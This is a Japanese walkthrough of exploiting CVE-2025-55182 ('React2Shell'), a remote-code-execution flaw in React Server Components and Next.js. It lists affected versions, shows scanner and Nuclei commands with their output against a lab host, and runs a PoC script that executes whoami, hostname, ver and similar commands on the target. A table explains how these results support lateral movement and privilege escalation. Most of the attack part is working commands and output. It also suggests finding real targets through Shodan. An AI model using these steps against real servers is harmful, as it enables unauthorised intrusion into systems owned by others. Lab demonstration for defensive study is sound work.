
CVE-2025-55182 のセキュリティ脆弱性の悪用
CVE-2025-55182(別名React2Shell)は、React Server Components (RSC) に影響を与える重大なリモートコード実行 (RCE) 脆弱性です。Flightプロトコルを使用してクライアントとサーバー間の通信を行います。クライアントがデータを要求すると、サーバーはペイロードを受信し、そのペイロードを解析します。これにより、攻撃者が悪意のある構造やReactが有効と認識する任意のコードを注入する可能性があります。
| 項目 | 内容 |
|---|---|
| 深刻度 | Critical (CVSS 10.0) |
| タイプ | Unsafe Deserialization (CWE-502) |
| 攻撃方法 | Remote, no authentication required |
| 影響を受けるバージョン: | React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 および Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6 |
サーバーがクライアントからのペイロードを十分に検証せずに処理するため、攻撃者は以下が可能:
この脆弱性に関連する悪用活動は2025年12月5日から確認されています。成功した悪用のほとんどは攻撃グループによる評価に端を発しています。Windows環境とLinux環境の両方が影響を受けます。
インストール
pip install -r requirements.txt
脆弱なサーバーをスキャン:
python3 scanner.py -u https://example.com
スキャンするURLを入力(ここでは脆弱なマシン http://192.168.10.1:3000 を入力)
取得した結果:
╰─ python3 scanner.py -u http://192.168.10.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://192.168.10.1:3000 - Status: 303
ホストリストのスキャン:
python3 scanner.py -l hosts.txt
マルチスレッドでスキャンし、結果を保存:
python3 scanner.py -l hosts.txt -t 20 -o results.json
カスタムヘッダーでのスキャン:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Windowsターゲットのスキャン:
python3 scanner.py -u https://example.com --windows
安全なサイドチャネル検出方法の使用:
python3 scanner.py -u https://example.com --safe-check
ご覧のとおり、セキュリティ脆弱性に遭遇しています。つまり、当該サーバーは攻撃者に対して脆弱であることを意味します。
次に、Nucleiを使用して上記のサーバーがどの脆弱性に該当するか(POCがあるかどうか)を確認します。この機能はカスタムリクエストを送信し、誤検知(false positive)を低減し、並列スキャンをサポートします。
nuclei -t scan.yaml -u http://192.168.10.1:3000
得られた結果
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
システムはこのサーバーが脆弱であり、CVE-2025-55182脆弱性によって悪用可能であることを検出しました。そして、これにより、この脆弱性が非常に危険で重要であり、ソーシャルプラットフォーム上に多くのPOCが存在することがわかります。 ☺☺☺
これらの情報だけで、上記のアプリケーションにセキュリティ脆弱性が存在することを確認するのに十分であることがわかります。このアプリケーションがリモートでコマンドやコードを実行するために悪用される可能性があることを証明するために、PoCを開始します。
chmod +x scanner.sh
# 相手が脆弱かどうかを確認
./datscan.sh -d example.com
# 現在のユーザーを確認するコマンドを実行
./datscan.sh -d example.com -c "whoami"
# 完全なURLを使用
./datscan.sh -d example.com -c "uname -a"
意味:
現在サーバープロセスを実行しているユーザーを返す
以下の特定に役立つ:
=> これはRCEが成功したことを確認する最も基本的なコマンドです
-d, --domain - ドメイン/URL-c, --command - 実行するコマンド(例: whoami, hostname,...)# マシン名を確認
./datscan.sh -d http://192.168.10.1:3000/ -c hostname
# オペレーティングシステムのバージョンを特定
./datscan.sh -d http://192.168.10.1:3000/ -c ver
# コマンド実行が安定して動作するか確認
./datscan.sh -c "echo test"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"
これはエクスプロイト成功後の初期偵察ステップです。
RCEが動作していること、OSの特定などを確認できます。
この実験は、違法行為を避けるために個人のラボ環境でデモを行っているため、HTTPヘッダーを使用したデータ流出、大きな出力、特殊文字などにより以下が発生する可能性があります:
ERR_INVALID_CHAR
短いコマンド(例: whoami、ver)は、上記のテスト環境での実演により信頼性が高いです。
お好みでShodanを使用して実際の環境のIPアドレスを直接確認し、上記の実験と同様に悪用することもできます(推奨しません)。
上記で述べたように、このツールは教育と許可されたセキュリティテストのみを目的としています。所有していない、またはテスト権限のないシステムでこのツールを使用しないでください。
| 実行コマンドの意味 | 内容 |
|---|
| マシン名(ホスト名)を返す | 目的: - 影響を受けるシステムの識別 - 内部環境での横方向移動(lateral movement)に利用 |
| オペレーティングシステムのバージョンを特定 | 重要: - さらなる悪用(権限昇格)の可能性評価 - 適切なエクスプロイトの選択 |
| コマンド実行の確認 | ペイロード/スキャナのデバッグに使用 |
| 現在のユーザー名を返す | この場合: - ユーザーがADMIN → 高い権限の可能性 - 一部のWindowsケースではwhoamiよりも重要 |
| マシン名を返す | 環境変数を通じてマシン名を返す |